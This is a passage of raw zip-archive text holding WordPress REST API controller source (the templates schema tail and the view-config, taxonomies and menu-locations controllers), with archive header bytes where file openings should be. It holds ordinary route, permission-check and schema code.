), ), 'status' => array( 'description' => __( 'Status of template.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'default' => 'publish', 'context' => array( 'embed', 'view', 'edit' ), ), 'wp_id' => array( 'description' => __( 'Post ID.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'has_theme_file' => array( 'description' => __( 'Theme file exists.' ), 'type' => 'bool', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'author' => array( 'description' => __( 'The ID for the author of the template.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'modified' => array( 'description' => __( "The date the template was last modified, in the site's timezone." ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'author_text' => array( 'type' => 'string', 'description' => __( 'Human readable text for the author.' ), 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'original_source' => array( 'description' => __( 'Where the template originally comes from e.g. \'theme\'' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), 'enum' => array( 'theme', 'plugin', 'site', 'user', ), ), 'date' => array( 'description' => __( "The date the template was published, in the site's timezone." ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); if ( 'wp_template' === $this->post_type ) { $schema['properties']['is_custom'] = array( 'description' => __( 'Whether a template is a custom template.' ), 'type' => 'bool', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $schema['properties']['plugin'] = array( 'type' => 'string', 'description' => __( 'Plugin that registered the template.' ), 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ); } if ( 'wp_template_part' === $this->post_type ) { $schema['properties']['area'] = array( 'description' => __( 'Where the template part is intended for use (header, footer, etc.)' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } PK!_aVaV(class-wp-rest-view-config-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'view-config'; } /** * Registers the routes for the controller. * * @since 7.1.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'kind' => array( 'description' => __( 'Entity kind.' ), 'type' => 'string', 'required' => true, ), 'name' => array( 'description' => __( 'Entity name.' ), 'type' => 'string', 'required' => true, ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read view config. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $kind = $request->get_param( 'kind' ); $name = $request->get_param( 'name' ); $capability = $this->get_required_capability( $kind, $name ); if ( null === $capability ) { return new WP_Error( 'rest_view_config_invalid_entity', __( 'Invalid entity kind or name.' ), array( 'status' => 404 ) ); } if ( ! current_user_can( $capability ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read view config.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Resolves the capability required to read the view config for an entity. * * Known kinds map to the capability that gates managing that entity's list: * post types use their own `edit_posts` capability (which honors custom * `capability_type` registrations), taxonomies use `manage_terms`, and * root-level entities use `manage_options`. A post type or taxonomy that is * not registered, or not exposed to the REST API, resolves to `null` so the * request is treated as referencing an unknown entity. * * Any other kind falls back to `edit_posts`. This keeps entities registered * through the `get_entity_view_config_{$kind}_{$name}` filter readable behind * a baseline capability. * * @since 7.1.0 * * @param string $kind The entity kind (e.g. `postType`). * @param string $name The entity name (e.g. `page`). * @return string|null Capability required to read the config, or null if the * entity is not registered. */ protected function get_required_capability( $kind, $name ) { switch ( $kind ) { case 'postType': $post_type = get_post_type_object( $name ); if ( $post_type && $post_type->show_in_rest ) { return $post_type->cap->edit_posts; } return null; case 'taxonomy': $taxonomy = get_taxonomy( $name ); if ( $taxonomy && $taxonomy->show_in_rest ) { return $taxonomy->cap->manage_terms; } return null; case 'root': return 'manage_options'; } return 'edit_posts'; } /** * Returns the default view configuration for the given entity type. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $kind = $request->get_param( 'kind' ); $name = $request->get_param( 'name' ); $config = wp_get_entity_view_config( $kind, $name ); $schema = $this->get_item_schema(); $response = array( 'kind' => $kind, 'name' => $name, 'version' => WP_View_Config_Data::LATEST_VERSION, 'default_view' => $this->cast_empty_objects( $config['default_view'], $schema['properties']['default_view'] ), 'default_layouts' => $this->cast_empty_objects( $config['default_layouts'], $schema['properties']['default_layouts'] ), 'view_list' => $this->cast_empty_objects( $config['view_list'], $schema['properties']['view_list'] ), 'form' => $this->cast_empty_objects( $config['form'], $schema['properties']['form'] ), ); return rest_ensure_response( $response ); } /** * Recursively casts empty arrays to objects where the schema types them as * objects. * * PHP cannot distinguish an empty associative array from an empty list, so * `json_encode()` always serializes `array()` as a JSON array (`[]`). The * REST schema, however, types several values as objects, which must encode * as `{}`. This walks the value against its schema and casts any empty, * object-typed array to an object. Non-empty associative arrays already * encode as objects, so they are left as arrays and only recursed into to * fix any nested empty objects. * * Union schemas (`oneOf`/`anyOf`) are handled only for the empty-array case: * an empty value is cast to an object when any branch allows an object. Such * values are not recursed into, which is sufficient for the form schema * where they never contain empty nested objects. * * @since 7.1.0 * * @param mixed $value The value to normalize. * @param array $schema The schema node describing the value. * @return mixed The normalized value, with empty object-typed arrays cast to objects. */ protected function cast_empty_objects( $value, $schema ) { if ( ! is_array( $value ) || ! is_array( $schema ) ) { return $value; } if ( isset( $schema['oneOf'] ) || isset( $schema['anyOf'] ) ) { $branches = $schema['oneOf'] ?? $schema['anyOf']; if ( array() === $value ) { foreach ( $branches as $branch ) { if ( is_array( $branch ) && in_array( 'object', (array) ( $branch['type'] ?? array() ), true ) ) { return (object) array(); } } } return $value; } $types = (array) ( $schema['type'] ?? array() ); if ( in_array( 'array', $types, true ) && isset( $schema['items'] ) ) { foreach ( $value as $index => $item ) { $value[ $index ] = $this->cast_empty_objects( $item, $schema['items'] ); } return $value; } if ( in_array( 'object', $types, true ) ) { if ( isset( $schema['properties'] ) ) { foreach ( $schema['properties'] as $property => $property_schema ) { if ( array_key_exists( $property, $value ) ) { $value[ $property ] = $this->cast_empty_objects( $value[ $property ], $property_schema ); } } } if ( isset( $schema['additionalProperties'] ) && is_array( $schema['additionalProperties'] ) ) { foreach ( $value as $key => $item ) { if ( isset( $schema['properties'][ $key ] ) ) { continue; } $value[ $key ] = $this->cast_empty_objects( $item, $schema['additionalProperties'] ); } } // Empty object-typed arrays must serialize as {} to match the schema. if ( array() === $value ) { return (object) array(); } } return $value; } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 7.1.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $view_base_properties = $this->get_view_base_schema(); $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'view-config', 'type' => 'object', 'properties' => array( 'kind' => array( 'description' => __( 'Entity kind.' ), 'type' => 'string', 'readonly' => true, ), 'name' => array( 'description' => __( 'Entity name.' ), 'type' => 'string', 'readonly' => true, ), 'version' => array( 'description' => __( 'The schema version of the configuration.' ), 'type' => 'integer', 'readonly' => true, ), 'default_view' => array( 'description' => __( 'Default view configuration.' ), 'type' => 'object', 'readonly' => true, 'properties' => array_merge( array( 'type' => array( 'type' => 'string', ), 'layout' => $this->get_combined_layout_schema(), ), $view_base_properties ), ), 'default_layouts' => array( 'description' => __( 'Default layout configurations.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'table' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_table_layout_schema(), ) ), ), 'list' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_list_layout_schema(), ) ), ), 'grid' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_grid_layout_schema(), ) ), ), 'activity' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_list_layout_schema(), ) ), ), 'pickerGrid' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_grid_layout_schema(), ) ), ), 'pickerTable' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_table_layout_schema(), ) ), ), ), ), 'view_list' => array( 'description' => __( 'List of default views.' ), 'type' => 'array', 'readonly' => true, 'items' => array( 'type' => 'object', 'properties' => array( 'title' => array( 'type' => 'string', ), 'slug' => array( 'type' => 'string', ), 'view' => array( 'type' => 'object', 'properties' => array_merge( array( 'type' => array( 'type' => 'string', ), 'layout' => $this->get_combined_layout_schema(), ), $view_base_properties ), ), ), ), ), 'form' => array( 'description' => __( 'Default form configuration.' ), 'type' => 'object', 'readonly' => true, 'properties' => $this->get_form_schema(), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Returns the schema properties shared by all view types (ViewBase), excluding 'type'. * * Note that `search` and `page` are not part of the schema: they are managed * via the URL, which is their only source of truth. * * @since 7.1.0 * * @return array Schema properties for the base view configuration. */ protected function get_view_base_schema() { return array( 'filters' => array( 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'field' => array( 'type' => 'string', ), 'operator' => array( 'type' => 'string', 'enum' => array( 'is', 'isNot', 'isAny', 'isNone', 'isAll', 'isNotAll', 'lessThan', 'greaterThan', 'lessThanOrEqual', 'greaterThanOrEqual', 'before', 'after', ), ), 'value' => array(), 'isLocked' => array( 'type' => 'boolean', ), ), ), ), 'sort' => array( 'type' => 'object', 'properties' => array( 'field' => array( 'type' => 'string', ), 'direction' => array( 'type' => 'string', 'enum' => array( 'asc', 'desc' ), ), ), ), 'perPage' => array( 'type' => 'integer', ), 'fields' => array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), 'titleField' => array( 'type' => 'string', ), 'mediaField' => array( 'type' => 'string', ), 'descriptionField' => array( 'type' => 'string', ), 'showTitle' => array( 'type' => 'boolean', ), 'showMedia' => array( 'type' => 'boolean', ), 'showDescription' => array( 'type' => 'boolean', ), 'showLevels' => array( 'type' => 'boolean', ), 'groupBy' => array( 'type' => 'object', 'properties' => array( 'field' => array( 'type' => 'string', ), 'direction' => array( 'type' => 'string', 'enum' => array( 'asc', 'desc' ), ), 'showLabel' => array( 'type' => 'boolean', 'default' => true, ), ), ), 'infiniteScrollEnabled' => array( 'type' => 'boolean', ), ); } /** * Returns the schema for the ColumnStyle type. * * @since 7.1.0 * * @return array Schema for a column style object. */ protected function get_column_style_schema() { return array( 'type' => 'object', 'properties' => array( 'width' => array( 'type' => array( 'string', 'number' ), ), 'maxWidth' => array( 'type' => array( 'string', 'number' ), ), 'minWidth' => array( 'type' => array( 'string', 'number' ), ), 'align' => array( 'type' => 'string', 'enum' => array( 'start', 'center', 'end' ), ), ), ); } /** * Returns the layout schema for table-type views (ViewTable, ViewPickerTable). * * @since 7.1.0 * * @return array Schema for a table layout object. */ protected function get_table_layout_schema() { return array( 'type' => 'object', 'properties' => array( 'styles' => array( 'type' => 'object', 'additionalProperties' => $this->get_column_style_schema(), ), 'density' => array( 'type' => 'string', 'enum' => array( 'compact', 'balanced', 'comfortable' ), ), 'enableMoving' => array( 'type' => 'boolean', ), ), ); } /** * Returns the layout schema for list-type views (ViewList, ViewActivity). * * @since 7.1.0 * * @return array Schema for a list layout object. */ protected function get_list_layout_schema() { return array( 'type' => 'object', 'properties' => array( 'density' => array( 'type' => 'string', 'enum' => array( 'compact', 'balanced', 'comfortable' ), ), ), ); } /** * Returns a combined layout schema that accepts properties from all view types. * * This is useful for contexts where the view type is not known ahead of time * (e.g. the `view` override in a view list item), so all possible layout * properties must be accepted. * * @since 7.1.0 * * @return array Schema for a combined layout object. */ protected function get_combined_layout_schema() { return array( 'type' => 'object', 'properties' => array_merge( $this->get_table_layout_schema()['properties'], $this->get_grid_layout_schema()['properties'], $this->get_list_layout_schema()['properties'] ), ); } /** * Returns the layout schema for grid-type views (ViewGrid, ViewPickerGrid). * * @since 7.1.0 * * @return array Schema for a grid layout object. */ protected function get_grid_layout_schema() { return array( 'type' => 'object', 'properties' => array( 'badgeFields' => array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), 'previewSize' => array( 'type' => 'number', ), 'density' => array( 'type' => 'string', 'enum' => array( 'compact', 'balanced', 'comfortable' ), ), ), ); } /** * Returns the schema for a form layout object as a discriminated union. * * Each variant is discriminated by a single-value enum on its `type` property, * matching the TypeScript Layout union in dataviews/src/types/dataform.ts. * * @since 7.1.0 * * @return array Schema for a form layout object. */ protected function get_form_layout_schema() { return array( 'oneOf' => array( // RegularLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'regular' ), ), 'labelPosition' => array( 'type' => 'string', 'enum' => array( 'top', 'side', 'none' ), ), ), ), // PanelLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'panel' ), ), 'labelPosition' => array( 'type' => 'string', 'enum' => array( 'top', 'side', 'none' ), ), 'openAs' => array( 'oneOf' => array( array( 'type' => 'string', 'enum' => array( 'dropdown', 'modal' ), ), array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'dropdown', 'modal' ), ), 'applyLabel' => array( 'type' => 'string', ), 'cancelLabel' => array( 'type' => 'string', ), ), ), ), ), 'summary' => array( 'oneOf' => array( array( 'type' => 'string' ), array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), ), ), 'editVisibility' => array( 'type' => 'string', 'enum' => array( 'always', 'on-hover' ), ), ), ), // CardLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'card' ), ), 'withHeader' => array( 'type' => 'boolean', ), 'isOpened' => array( 'type' => 'boolean', ), 'isCollapsible' => array( 'type' => 'boolean', ), 'summary' => array( 'oneOf' => array( array( 'type' => 'string' ), array( 'type' => 'array', 'items' => array( 'oneOf' => array( array( 'type' => 'string' ), array( 'type' => 'object', 'properties' => array( 'id' => array( 'type' => 'string', ), 'visibility' => array( 'type' => 'string', 'enum' => array( 'always', 'when-collapsed' ), ), ), ), ), ), ), ), ), ), ), // RowLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'row' ), ), 'alignment' => array( 'type' => 'string', 'enum' => array( 'start', 'center', 'end' ), ), 'styles' => array( 'type' => 'object', 'additionalProperties' => array( 'type' => 'object', 'properties' => array( 'flex' => array( 'type' => array( 'string', 'number' ), ), ), ), ), ), ), // DetailsLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'details' ), ), 'summary' => array( 'type' => 'string', ), ), ), ), ); } /** * Returns the schema for a form field item (string or object). * * @since 7.1.0 * * @return array Schema for a form field. */ protected function get_form_field_schema() { return array( 'oneOf' => array( array( 'type' => 'string' ), array( 'type' => 'object', 'properties' => array( 'id' => array( 'type' => 'string', ), 'label' => array( 'type' => 'string', ), 'description' => array( 'type' => 'string', ), 'layout' => $this->get_form_layout_schema(), 'children' => array( 'type' => 'array', 'items' => array( 'oneOf' => array( array( 'type' => 'string' ), // This object can have the shape of a form field itself, // allowing for recursive nesting of form fields. // There's no easy way to codify this recursion via the JSON Schema draft-04 // supported by the REST API. array( 'type' => 'object' ), ), ), ), ), ), ), ); } /** * Returns the schema for the form configuration object. * * @since 7.1.0 * * @return array Schema properties for the form configuration. */ protected function get_form_schema() { return array( 'layout' => $this->get_form_layout_schema(), 'fields' => array( 'type' => 'array', 'items' => $this->get_form_field_schema(), ), ); } } PK!66'class-wp-rest-taxonomies-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'taxonomies'; } /** * Registers the routes for taxonomies. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'taxonomy' => array( 'description' => __( 'An alphanumeric identifier for the taxonomy.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read taxonomies. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { if ( ! empty( $request['type'] ) ) { $taxonomies = get_object_taxonomies( $request['type'], 'objects' ); } else { $taxonomies = get_taxonomies( '', 'objects' ); } foreach ( $taxonomies as $taxonomy ) { if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all public taxonomies. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) { $taxonomies = get_object_taxonomies( $request['type'], 'objects' ); } else { $taxonomies = get_taxonomies( '', 'objects' ); } $data = array(); foreach ( $taxonomies as $tax_type => $value ) { if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) { continue; } $tax = $this->prepare_item_for_response( $value, $request ); $tax = $this->prepare_response_for_collection( $tax ); $data[ $tax_type ] = $tax; } if ( empty( $data ) ) { // Response should still be returned as a JSON object when it is empty. $data = (object) $data; } return rest_ensure_response( $data ); } /** * Checks if a given request has access to a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, otherwise false or WP_Error object. */ public function get_item_permissions_check( $request ) { $tax_obj = get_taxonomy( $request['taxonomy'] ); if ( $tax_obj ) { if ( empty( $tax_obj->show_in_rest ) ) { return false; } if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } } return true; } /** * Retrieves a specific taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $tax_obj = get_taxonomy( $request['taxonomy'] ); if ( empty( $tax_obj ) ) { return new WP_Error( 'rest_taxonomy_invalid', __( 'Invalid taxonomy.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $tax_obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a taxonomy object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$taxonomy` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Taxonomy $item Taxonomy data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $taxonomy = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php */ return apply_filters( 'rest_prepare_taxonomy', new WP_REST_Response( array() ), $taxonomy, $request ); } $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'name', $fields, true ) ) { $data['name'] = $taxonomy->label; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $taxonomy->name; } if ( in_array( 'capabilities', $fields, true ) ) { $data['capabilities'] = $taxonomy->cap; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $taxonomy->description; } if ( in_array( 'labels', $fields, true ) ) { $data['labels'] = $taxonomy->labels; } if ( in_array( 'types', $fields, true ) ) { $data['types'] = array_values( $taxonomy->object_type ); } if ( in_array( 'show_cloud', $fields, true ) ) { $data['show_cloud'] = $taxonomy->show_tagcloud; } if ( in_array( 'hierarchical', $fields, true ) ) { $data['hierarchical'] = $taxonomy->hierarchical; } if ( in_array( 'rest_base', $fields, true ) ) { $data['rest_base'] = $base; } if ( in_array( 'rest_namespace', $fields, true ) ) { $data['rest_namespace'] = $taxonomy->rest_namespace; } if ( in_array( 'visibility', $fields, true ) ) { $data['visibility'] = array( 'public' => (bool) $taxonomy->public, 'publicly_queryable' => (bool) $taxonomy->publicly_queryable, 'show_admin_column' => (bool) $taxonomy->show_admin_column, 'show_in_nav_menus' => (bool) $taxonomy->show_in_nav_menus, 'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit, 'show_ui' => (bool) $taxonomy->show_ui, ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $taxonomy ) ); } /** * Filters a taxonomy returned from the REST API. * * Allows modification of the taxonomy data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Taxonomy $item The original taxonomy object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request ); } /** * Prepares links for the request. * * @since 6.1.0 * * @param WP_Taxonomy $taxonomy The taxonomy. * @return array Links for the given taxonomy. */ protected function prepare_links( $taxonomy ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'https://api.w.org/items' => array( 'href' => rest_url( rest_get_route_for_taxonomy_items( $taxonomy->name ) ), ), ); } /** * Retrieves the taxonomy's schema, conforming to JSON Schema. * * @since 4.7.0 * @since 5.0.0 The `visibility` property was added. * @since 5.9.0 The `rest_namespace` property was added. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'taxonomy', 'type' => 'object', 'properties' => array( 'capabilities' => array( 'description' => __( 'All capabilities used by the taxonomy.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'A human-readable description of the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'hierarchical' => array( 'description' => __( 'Whether or not the taxonomy should have children.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'labels' => array( 'description' => __( 'Human-readable labels for the taxonomy for various contexts.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The title for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'show_cloud' => array( 'description' => __( 'Whether or not the term cloud should be displayed.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'types' => array( 'description' => __( 'Types associated with the taxonomy.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'rest_base' => array( 'description' => __( 'REST base route for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rest_namespace' => array( 'description' => __( 'REST namespace route for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'visibility' => array( 'description' => __( 'The visibility settings for the taxonomy.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, 'properties' => array( 'public' => array( 'description' => __( 'Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.' ), 'type' => 'boolean', ), 'publicly_queryable' => array( 'description' => __( 'Whether the taxonomy is publicly queryable.' ), 'type' => 'boolean', ), 'show_ui' => array( 'description' => __( 'Whether to generate a default UI for managing this taxonomy.' ), 'type' => 'boolean', ), 'show_admin_column' => array( 'description' => __( 'Whether to allow automatic creation of taxonomy columns on associated post-types table.' ), 'type' => 'boolean', ), 'show_in_nav_menus' => array( 'description' => __( 'Whether to make the taxonomy available for selection in navigation menus.' ), 'type' => 'boolean', ), 'show_in_quick_edit' => array( 'description' => __( 'Whether to show the taxonomy in the quick/bulk edit panel.' ), 'type' => 'boolean', ), ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $new_params = array(); $new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) ); $new_params['type'] = array( 'description' => __( 'Limit results to taxonomies associated with a specific post type.' ), 'type' => 'string', ); return $new_params; } } PK!k""+class-wp-rest-menu-locations-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'menu-locations'; } /** * Registers the routes for the objects of the controller. * * @since 5.9.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'location' => array( 'description' => __( 'An alphanumeric identifier for the menu location.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read menu locations. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->check_has_read_only_access( $request ); } /** * Retrieves all menu locations, depending on user context. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); foreach ( get_registered_nav_menus() as $name => $description ) { $location = new stdClass(); $location->name = $name; $location->description = $description; $location = $this->prepare_item_for_response( $location, $request ); $data[ $name ] = $this->prepare_response_for_collection( $location ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a menu location. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return $this->check_has_read_only_access( $request ); } /** * Retrieves a specific menu location. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $registered_menus = get_registered_nav_menus(); if ( ! array_key_exists( $request['location'], $registered_menus ) ) { return new WP_Error( 'rest_menu_location_invalid', __( 'Invalid menu location.' ), array( 'status' => 404 ) ); } $location = new stdClass(); $location->name = $request['location']; $location->description = $registered_menus[ $location->name ]; $data = $this->prepare_item_for_response( $location, $request ); return rest_ensure_response( $data ); } /** * Checks whether the current user has read permission for the endpoint. * * @since 6.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the current user has permission, WP_Error object otherwise. */ protected function check_has_read_only_access( $request ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ $read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this ); if ( $read_only_access ) { return true; } if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menu locations.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares a menu location object for serialization. * * @since 5.9.0 * * @param stdClass $item Post status data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Menu location data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $location = $item; $locations = get_nav_menu_locations(); $menu = $locations[ $location->name ] ?? 0; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'name', $fields ) ) { $data['name'] = $location->name; } if ( rest_is_field_included( 'description', $fields ) ) { $data['description'] = $location->description; } if ( rest_is_field_included( 'menu', $fields ) ) { $data['menu'] = (int) $menu; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || 